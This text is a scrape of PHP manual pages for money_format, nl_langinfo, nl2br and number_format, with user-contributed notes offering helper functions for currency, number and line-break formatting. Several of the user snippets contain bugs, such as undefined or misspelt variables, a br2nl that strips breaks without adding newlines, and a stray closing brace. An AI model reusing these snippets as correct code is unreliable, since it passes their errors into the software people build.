            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 07:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 23-Jul-2008 05:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 12:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 04:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.


Query language and locale information

  • « money_format
  • nl2br »
  • PHP Manual
  • String Functions
  • Query language and locale information

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5)

nl_langinfo — Query language and locale information

Description

string nl_langinfo ( int $item )

nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element.

Parameters

item

item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales.

nl_langinfo Constants
Constant | Description
LC_TIME Category Constants
ABDAY_(1-7) | Abbreviated name of n-th day of the week.
DAY_(1-7) | Name of the n-th day of the week (DAY_1 = Sunday).
ABMON_(1-12) | Abbreviated name of the n-th month of the year.
MON_(1-12) | Name of the n-th month of the year.
AM_STR | String for Ante meridian.
PM_STR | String for Post meridian.
D_T_FMT | String that can be used as the format string for strftime() to represent time and date.
D_FMT | String that can be used as the format string for strftime() to represent date.
T_FMT | String that can be used as the format string for strftime() to represent time.
T_FMT_AMPM | String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian.
ERA | Alternate era.
ERA_YEAR | Year in alternate era format.
ERA_D_T_FMT | Date and time in alternate era format (string can be used in strftime()).
ERA_D_FMT | Date in alternate era format (string can be used in strftime()).
ERA_T_FMT | Time in alternate era format (string can be used in strftime()).
LC_MONETARY Category Constants
INT_CURR_SYMBOL | International currency symbol.
CURRENCY_SYMBOL | Local currency symbol.
CRNCYSTR | Same value as CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Decimal point character.
MON_THOUSANDS_SEP | Thousands separator (groups of three digits).
MON_GROUPING | Like "grouping" element.
POSITIVE_SIGN | Sign for positive values.
NEGATIVE_SIGN | Sign for negative values.
INT_FRAC_DIGITS | International fractional digits.
FRAC_DIGITS | Local fractional digits.
P_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a positive value.
P_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a positive value.
N_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a negative value.
N_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a negative value.
P_SIGN_POSN
  • Returns 0 if parentheses surround the quantity and CURRENCY_SYMBOL.
  • Returns 1 if the sign string precedes the quantity and CURRENCY_SYMBOL.
  • Returns 2 if the sign string follows the quantity and CURRENCY_SYMBOL.
  • Returns 3 if the sign string immediately precedes the CURRENCY_SYMBOL.
  • Returns 4 if the sign string immediately follows the CURRENCY_SYMBOL.
N_SIGN_POSN
LC_NUMERIC Category Constants
DECIMAL_POINT | Decimal point character.
RADIXCHAR | Same value as DECIMAL_POINT.
THOUSANDS_SEP | Separator character for thousands (groups of three digits).
THOUSEP | Same value as THOUSANDS_SEP.
GROUPING
LC_MESSAGES Category Constants
YESEXPR | Regex string for matching "yes" input.
NOEXPR | Regex string for matching "no" input.
YESSTR | Output string for "yes".
NOSTR | Output string for "no".
LC_CTYPE Category Constants
CODESET | Return a string with the name of the character encoding.

Return Values

Returns the element as a string, or FALSE if item is not valid.

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • setlocale() - Set locale information
  • localeconv() - Get numeric formatting information

User Contributed Notes

mark at moderndeveloper dot com 16-Nov-2013 12:23
If you are looking for the stand-alone (nominative form) of a month, you may not be able to use nl_langinfo(), but with PHP 5.5 you can use something like:

<?php
echo IntlDateFormatter::formatObject(
         new DateTime('2013-01-01 00:00:00 Europe/Moscow'),
         'LLLL',
         'ru_RU');
?>

Note that the format uses the ICU patterns, not the PHP date() patterns.
avatar_at_hot_ee 11-Mar-2006 04:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.


Inserts HTML line breaks before all newlines in a string

  • « nl_langinfo
  • number_format »
  • PHP Manual
  • String Functions
  • Inserts HTML line breaks before all newlines in a string

nl2br

(PHP 4, PHP 5)

nl2br — Inserts HTML line breaks before all newlines in a string

Description

string nl2br ( string $string [, bool $is_xhtml = true ] )

Returns string with '<br />' or '<br>' inserted before all newlines (\r\n, \n\r, \n and \r).

Parameters

string

The input string.

is_xhtml

Whether to use XHTML compatible line breaks or not.

Return Values

Returns the altered string.

Examples

Example #1 Using nl2br()

<?php
echo nl2br("foo isn't\n bar");
?>

The above example will output:

foo isn't<br />
 bar

Example #2 Generating valid HTML markup using the is_xhtml parameter

<?php
echo nl2br("Welcome\r\nThis is my HTML document", false);
?>

The above example will output:

Welcome<br>
This is my HTML document

Example #3 Various newline separators

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

The above example will output:

This<br />
is<br />
a<br />
string<br />

Changelog

Version | Description
5.3.0 | Added the optional is_xhtml parameter.
4.0.5 | nl2br() is now XHTML compliant. All older versions will return string with '<br>' inserted before newlines instead of '<br />'.

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • htmlentities() - Convert all applicable characters to HTML entities
  • wordwrap() - Wraps a string to a given number of characters
  • str_replace() - Replace all occurrences of the search string with the replacement string

User Contributed Notes

Suleman Chikhalia 27-Oct-2014 05:57
Looking for the reverse of the nl2br function? Here is a more succinct way to convert HTML line breaks to newlines (making a slight improvement to http://php.net/nl2br#86678):

<?php
/**
* Convert HTML line breaks to newlines
*
* @param string The string to convert
* @return string The converted string
*/
function br2nl($string)
{
    return preg_replace('/<br\s*\/?>/i', "\n", $string);
}
?>
fquffio at live dot it 10-Jun-2014 05:46
Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace <br /> and <br> tags with newlines and carriage returns.
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl ( $string )
{
    return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
}
?>
(Please note this is a minor edit of this function: http://php.net/nl2br#86678 )

You might also want to be "platform specific", and therefore this function might be of some help:
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @param string The string to use as line separator
 * @return string The converted string
 */
function br2nl ( $string, $separator = PHP_EOL )
{
    $separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL;  // Checks if provided $separator is valid.
    return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?>
billhicks at yahoo dot com 20-Mar-2014 03:16
Your new site does not work in ie.

But you already know this and I guess you don't really care.

its all about style now - funny because this is a php site not a css/java/ajax site.

piss off!!!!!!!!!!!!!!!
darenschwenke at yahoo dot com 29-Jan-2014 04:15
This one works with br tags having attributes, in any case,
closed or  not closed, and does not double linefeeds

<?php
 /**
 * convert br tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */

function br2nl($string)
{
    return preg_replace("/<br[^>]*>\s*\r*\n*/is", "\n", $string);
}
?>

I combine this with strip_tags() for dead simple "contenteditable" fields allowing only text and linefeeds.
j dot mons54 at gmail dot com 30-May-2012 06:45
for bbcode :

<?php
$message =  nl2br(preg_replace('#(\\]{1})(\\s?)\\n#Usi', ']', stripslashes($message)));
?>
N/A 29-Oct-2008 04:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
blacknine313 at gmail dot com 02-Apr-2008 03:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
hyponiq at gmail dot com 26-Aug-2007 08:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
ngkongs at gmail dot com 23-Feb-2007 01:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
Anders Norrbring 09-Mar-2006 10:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
CGameProgrammer at gmail dot com 31-Jan-2005 02:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>


Format a number with grouped thousands

  • « nl2br
  • ord »
  • PHP Manual
  • String Functions
  • Format a number with grouped thousands

number_format

(PHP 4, PHP 5)

number_format — Format a number with grouped thousands

Description

string number_format ( float $number [, int $decimals = 0 ] )
string number_format ( float $number , int $decimals = 0 , string $dec_point = "." , string $thousands_sep = "," )

This function accepts either one, two, or four parameters (not three):

If only one parameter is given, number will be formatted without decimals, but with a comma (",") between every group of thousands.

If two parameters are given, number will be formatted with decimals decimals with a dot (".") in front, and a comma (",") between every group of thousands.

If all four parameters are given, number will be formatted with decimals decimals, dec_point instead of a dot (".") before the decimals and thousands_sep instead of a comma (",") between every group of thousands.

Parameters

number

The number being formatted.

decimals

Sets the number of decimal points.

dec_point

Sets the separator for the decimal point.

thousands_sep

Sets the thousands separator.

Return Values

A formatted version of number.

Changelog

Version | Description
5.4.0 | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.

Examples

Example #1 number_format() Example

For instance, French notation usually use two decimals, comma (',') as decimal separator, and space (' ') as thousand separator. This is achieved with this line :

<?php

$number = 1234.56;

// english notation (default)
$english_format_number = number_format($number);
// 1,235

// French notation
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// english notation without thousands separator
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

See Also

  • money_format() - Formats a number as a currency string
  • sprintf() - Return a formatted string
  • printf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format

User Contributed Notes

dont at spam dot me 01-Oct-2014 11:56
The function rlerne posted does not work well in many cases:

<?php
function number_format_clean($number, $precision = 0, $dec_point = '.', $thousands_sep = ',') {
    return trim(number_format($number, $precision, $dec_point ,$thousands_sep), '0' . $dec_point);
}
?>

Fail examples:

<?php
number_format_clean(0.1, 2); // returns "1"
number_format_clean(10.000001, 2); // returns "1"
?>

This one is correct:

<?php
function number_format_clean($number, $precision = 0, $dec_point = '.', $thousands_sep = ',') {
    return rtrim(rtrim(number_format($number, $precision, $dec_point ,$thousands_sep), '0'), $dec_point);
}
?>
Anonymous 16-Jan-2014 11:39
One-liner to add filesizes and print a human readable result:

seq 1 500 | php -r '$t=0;while(1){$a=rtrim(fgets(STDIN));if(feof(STDIN))break;$t+=$a+0;} $p=floor(log($t, 1024)); printf("%.0f%s\n", $t/pow(1024,$p),substr("BKMGT",$p,1));'

-- Ren
mobi dot lenoe at gmail dot com 28-Oct-2013 05:13
I'd like to comment to the old notes of "stm555" and "woodynadobhar".
They wrote about "number_format_unlimited_precision()".
I guess many of us need that kind of function, which is the almost same function as number_format but don't round a number.

Does Anyone know any new solution in a recent PHP version?

...
If no, how about the following function? (I fixed somethings like bugs of the function in the old comment.)
<?php
function number_format_unchanged_precision($number, $dec_point='.', $thousands_sep=','){
    if($dec_point==$thousands_sep){
        trigger_error('2 parameters for ' . __METHOD__ . '() have the same value, that is "' . $dec_point . '" for $dec_point and $thousands_sep', E_USER_WARNING);
        // It corresponds "PHP Warning:  Wrong parameter count for number_format()", which occurs when you use $dec_point without $thousands_sep to number_format().
    }
    if(preg_match('{\.\d+}', $number, $matches)===1){
        $decimals = strlen($matches[0]) - 1;
    }else{
        $decimals = 0;
    }
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
var_dump(number_format_unchanged_precision(1234.5678, ',', '.'));
var_dump(number_format_unchanged_precision(1234.5678, ','));
var_dump(number_format_unchanged_precision(12345678));
var_dump(number_format_unchanged_precision(-0.5678, ',', '.'));  // It occurred a bug with the function in the old comment.
?>
output is:
    string(10) "1.234,5678"
    PHP Warning:  2 parameters for number_format_unchanged_precision() have the same value, that is "," for $dec_point and $thousands_sep in...
    string(10) "1,234,5678"
    string(10) "12,345,678"
    string(7) "-0,5678"
tomislav at firmus-grupa dot hr 04-Mar-2013 02:01
When apply number_format on number with separator on thousands, result is wrong. This function accept number of any format
<?php
function format_price($number,$decPlaces,$decSep,$thouSep){

    //$number - number for format
    //$decPlaces - number of decimal places
    //$decSep - separator for decimals
    //$thouSep - separator for thousands

    //first remove all white spaces
    $number=preg_replace('/\s+/', '',$number);
    //split string into array
    $numberArr = str_split($number);
    //reverse array and not preserve key, keys will help to find decimal place
    $numberArrRev=array_reverse($numberArr);

    //find first occurrence of non number character, that will be a decimal place
    //store $key into variable $decPointIsHere
    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value)){
            if($decPointIsHere==""){
                $decPointIsHere=$key;
            }
        }
    }

    //decimal comma or whatever it is replace with dot
    //$decPointIsHere is the key of the element that will contain decimal separator dot
    if($decPointIsHere!=""){
        $numberArrRev[$decPointIsHere]=".";
    }

    //again check through array for non numerical characters but skipping allready processed keys
    //if is not number remove from array

    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value) && $key>$decPointIsHere){
            unset($numberArrRev[$key]);
        }
    }

    //reverse back, at the start reversed array $numberArrRev to $numberArr
    $numberArr=array_reverse($numberArrRev);

    //create string from array
    $numberClean=implode("",$numberArr);

    // apply php number_format function
    return number_format($numberClean,$decPlaces,$decSep,$thouSep);

}

echo format_price("1 225 552, 55",2,',',' ')."<br>";
echo format_price("1.225.552, 55",2,',',' ')."<br>";
echo format_price("1'225'552. 55",2,',',' ')."<br>";
echo format_price("1225552.55",2,',',' ')."<br>";
?>
all results are: 1 225 552,55
rlerne at gmail dot com 16-Feb-2013 04:21
I came into a need to show two decimal places, but the desire to drop the decimal portion off if it is zero. This function is a direct replacement for number_format:

<?PHP
function number_format_clean($number,$precision=0,$dec_point='.',$thousands_sep=',')
    {
    RETURN trim(number_format($number,$precision,$dec_point,$thousands_sep),'0'.$dec_point);
    }
?>

Example:

<?PHP
echo number_format_clean(25.00,2);
echo number_format_clean(25.52,2);
echo number_format_clean(50.10,2);
echo number_format_clean(05.50,2);
?>

Outputs:
25
25.52
50.1
5.5

Good for weight conversions (1 oz vs. 1.00 oz). Feels less "automated."

The above will trim all insignificant zeros from both ends of the string, though I'm not sure I've ever seen leading zeros returned.
vgurudev at nikshepa dot com 04-May-2012 05:37
<?php

    function convertNumberToWordsForIndia($number){
        //A function to convert numbers into Indian readable words with Cores, Lakhs and Thousands.
        $words = array(
        '0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five',
        '6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten',
        '11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen',
        '16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty',
        '30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy',
        '80' => 'eighty','90' => 'ninty');

        //First find the length of the number
        $number_length = strlen($number);
        //Initialize an empty array
        $number_array = array(0,0,0,0,0,0,0,0,0);
        $received_number_array = array();

        //Store all received numbers into an array
        for($i=0;$i<$number_length;$i++){    $received_number_array[$i] = substr($number,$i,1);    }

        //Populate the empty array with the numbers received - most critical operation
        for($i=9-$number_length,$j=0;$i<9;$i++,$j++){ $number_array[$i] = $received_number_array[$j]; }
        $number_to_words_string = "";
        //Finding out whether it is teen ? and then multiplying by 10, example 17 is seventeen, so if 1 is preceeded with 7 multiply 1 by 10 and add 7 to it.
        for($i=0,$j=1;$i<9;$i++,$j++){
            if($i==0 || $i==2 || $i==4 || $i==7){
                if($number_array[$i]=="1"){
                    $number_array[$j] = 10+$number_array[$j];
                    $number_array[$i] = 0;
                }
            }
        }

        $value = "";
        for($i=0;$i<9;$i++){
            if($i==0 || $i==2 || $i==4 || $i==7){    $value = $number_array[$i]*10; }
            else{ $value = $number_array[$i];    }
            if($value!=0){ $number_to_words_string.= $words["$value"]." "; }
            if($i==1 && $value!=0){    $number_to_words_string.= "Crores "; }
            if($i==3 && $value!=0){    $number_to_words_string.= "Lakhs ";    }
            if($i==5 && $value!=0){    $number_to_words_string.= "Thousand "; }
            if($i==6 && $value!=0){    $number_to_words_string.= "Hundred &amp; "; }
        }
        if($number_length>9){ $number_to_words_string = "Sorry This does not support more than 99 Crores"; }
        return ucwords(strtolower("Indian Rupees ".$number_to_words_string)." Only.");
    }

    echo convertNumberToWordsForIndia("987654321");

    //Output ==> Indian Rupees Ninty Eight Crores Seventy Six Lakhs Fifty Four Thousand Three Hundred & Twenty One Only.
?>
before_i_sleep at hotmail dot co dot uk 27-Apr-2012 11:26
As many people state the number_format function will round. Now if you're like me and you don't want stuff to round (and the functions below do not work for you) you can try a little regex:

<?php

function convert_size_human($size){
    $unit=array('','KB','MB','GB','TB','PB');
    $byte_size = $size/pow(1024,($i=floor(log($size,1024))));

    if(is_really_int($byte_size)){
        return $byte_size.' '.$unit[$i];
    }else{
        preg_match('/^[0-9]+\.[0-9]{2}/', $byte_size, $matches);
        return $matches[0].' '.$unit[$i];
    }
}

?>

The regex used when the number is not an int ensures that 3.99887 GB comes out as 3.99 GB instead of 4GB as it does from number_format or the functions below.
liviu andrei (bls) 18-Nov-2011 05:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
robmann at gmx dot li 06-May-2011 01:02
Here a function to filter exponential notation like 6e-06. Turn it to 0,000006 for comfortable reading. Supporting various number of decimals!

<?php
function easy_number_format($number, $dec_point, $thousands_sep)
{
    $number = rtrim(sprintf('%f', $number), "0");
    if (fmod($nummer, 1) != 0) {
        $array_int_dec = explode('.', $number);
    } else {
        $array_int_dec= array(strlen($nummer), 0);
    }
    (strlen($array_int_dec[1]) < 2) ? ($decimals = 2) : ($decimals = strlen($array_int_dec[1]));
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
?>

The maximum accuracy depends on sprintf('%f', $number). In this case 6 decimals. Expand it to 10 with '%.10f'.
info at swedishboy dot se 25-Jan-2011 12:12
There has been some suggestions around on how to keep trailing zeros. Best way is to use the example for currency provided by the php-crew in the sprintf function help section.

That is:
<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;

// echo $money will output "123.1";

$formatted = sprintf("%01.2f", $money); // << this does the trick!

// echo $formatted will output "123.10"

?>
Ali Okan YKSEL 26-Oct-2010 11:47
function formats numbers of datetime type,

<?php
$_GET["zaman"]="1983-8-28 5:5:5";

function _parseDatetimeToList($datetimeStr) { //datetime format: Y-m-d H-i-s
    $datetimeArray=explode(" ", $datetimeStr);
    $dateArray=explode("-",$datetimeArray[0]);
    $year=str_pad($dateArray[0], 2, "0", STR_PAD_LEFT);
    $month=str_pad($dateArray[1], 2, "0", STR_PAD_LEFT);
    $day=str_pad($dateArray[2], 2, "0", STR_PAD_LEFT);
    $timeArray=explode(":",$datetimeArray[1]);
    $hour=str_pad($timeArray[0], 2, "0", STR_PAD_LEFT);
    $minute=str_pad($timeArray[1], 2, "0", STR_PAD_LEFT);
    $second=str_pad($timeArray[2], 2, "0", STR_PAD_LEFT);
    return array($year, $month, $day, $hour, $minute, $second);
}

list($year, $month, $day, $hour, $minute, $second) = _parseDatetimeToList($_GET["zaman"]);  // 1983-1-28 5:5:5
?>
Ricky *@* Mataka [com] 16-Oct-2010 08:10
Hey Guys, dont know if this is the best way but it worked for me as i faced a problem where I had to split any large number > then 10K into into to exact split amounts.. so i wrote this this to do the trick.. hope it helps some one out there!

<?php
function divide22($num)
{
  $valone = intval($num / 2);
  $valtwo = $valone;
  if (($num % 2) > 0) $valtwo++;
  return array($valone, $valtwo);
}
function split2vals($num,$split_amount)
{
  $store=array();
  $times = round(($num/$split_amount));
  $amount= $num/$times;
  for($i=0;$i<$times;$i++)
  {
     $store[]=round($amount);
  }
  foreach($store as $index=>$value)
  {
    if($value>$split_amount)
    {
       $get_splits=divide22($value);
       //unset the split
       unset($store[$index]);
       $store[]=$get_splits[0];
       $store[]=$get_splits[1];
    }
  }
  $sum=array_sum($store);

  if($sum > $num){
    $sub=$sum-$num;
      $end=end($store);
    array_pop($store);
    $store[]=$end-$sub;
  }
  if($sum < $num){
    $store[]=($num-$sum);
  }
  return $store;
}

//USAGE

$check_amount=50567.83;
echo 'Input Split = '.$check_amount.'<br><br>';
$store=split2vals($check_amount,10000);
print_r($store);
$sum=array_sum($store);
echo '<br><br>Should Be Exact ='. $sum;
exit();
?>
Cody G. 08-Aug-2010 11:06
Sometimes, I'm sure, you guys are looking for a way to do the exact opposite of this function: convert a comma-filled number back to normal decimal.
Here's a quick code that popped into my head today:

<?php
 $mynumstr = "100,000,000.75";
 $mynum = doubleval(str_replace(",","",$mynumstr));
?>

This is especially useful when validating user input. Some people like to include comma's with their numbers.
Some also like to include the dollar-sign when entering prices. Here's a modification:

<?php
 $mynumstr = '$100,000,000.25';
 $arr1 = array(',','$');
 $arr2 = array('','');
 $mynum = doubleval(str_replace($arr1,$arr2,$mynumstr));
 //The arrays had to be defined in a
 //  variable to shorten statement.
?>

Okay, that takes care of it, I use the PHP4 array compatibility update to remove several characters.
Don't forget to either use single-quotes or escape the dollar-sign!

~Cody G.
me dot nosp at m dot unreal4u dot com 08-Jul-2010 09:36
Maybe it is documented, but I just missed it. However, a comment is always useful.

An array will always be converted into 1, so, if you have:

<?php
$my_array = array(55);
echo number_format($my_array,0,',','.');
// 1
var_dump(number_format($my_array,2,',','.'));
// string(4) "1,00"
?>

Since it took me a while to figure it out, I hope this will save somebody's time.

Greetings !!
isedc at yahoo dot com 29-Mar-2010 09:38
Some programmers may have scripts that use the number_format function twice on a variable.  However, if a number is 4 or more digits, using the function twice with only the decimals parameter will lose part of the value that follows the thousands separator.

<?php
$var = number_format(2234,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 2,234.00
# Actual Output: 2.00
?>

To fix, remove the thousands separator by setting the decimal point and thousands separator parameters like so:

<?php
$var = number_format(2234,2,'.','');
$var = number_format($var,2,'.','');
echo $var;
# Expected Output: 2234.00
# Actual Output: 2234.00
?>

If it's 3 digits or less, then it works normally with only the decimals parameter since there is no thousands separator.

<?php
$var = number_format(123,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 123.00
# Actual Output: 123.00
?>
dipu dot ashok dot 17 at gmail dot com 28-Mar-2010 10:18
function to convert numbers to words
indian: thousand,lakh,crore
Note: function can only convert nos upto 99 crores

<?php
 $words = array('0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five','6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten','11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen','16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty','30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy','80' => 'eighty','90' => 'ninty','100' => 'hundred &','1000' => 'thousand','100000' => 'lakh','10000000' => 'crore');
function no_to_words($no)
{    global $words;
    if($no == 0)
        return ' ';
    else {           $novalue='';$highno=$no;$remainno=0;$value=100;$value1=1000;
            while($no>=100)    {
                if(($value <= $no) &&($no  < $value1))    {
                $novalue=$words["$value"];
                $highno = (int)($no/$value);
                $remainno = $no % $value;
                break;
                }
                $value= $value1;
                $value1 = $value * 100;
            }
          if(array_key_exists("$highno",$words))
              return $words["$highno"]." ".$novalue." ".no_to_words($remainno);
          else {
             $unit=$highno%10;
             $ten =(int)($highno/10)*10;
             return $words["$ten"]." ".$words["$unit"]." ".$novalue." ".no_to_words($remainno);
           }
    }
}
echo no_to_words(999978987);

?>
Peter de Pijd 17-Aug-2009 05:35
If you want to use nbsp as decimal/thousand delimiter with UTF-8 you have to replace the whitespace after using number_format:

<?php
$number = number_format(1000, 0, ".", " "); // normal space
echo str_replace(" ", utf8_encode("\xA0"), $number);
// or
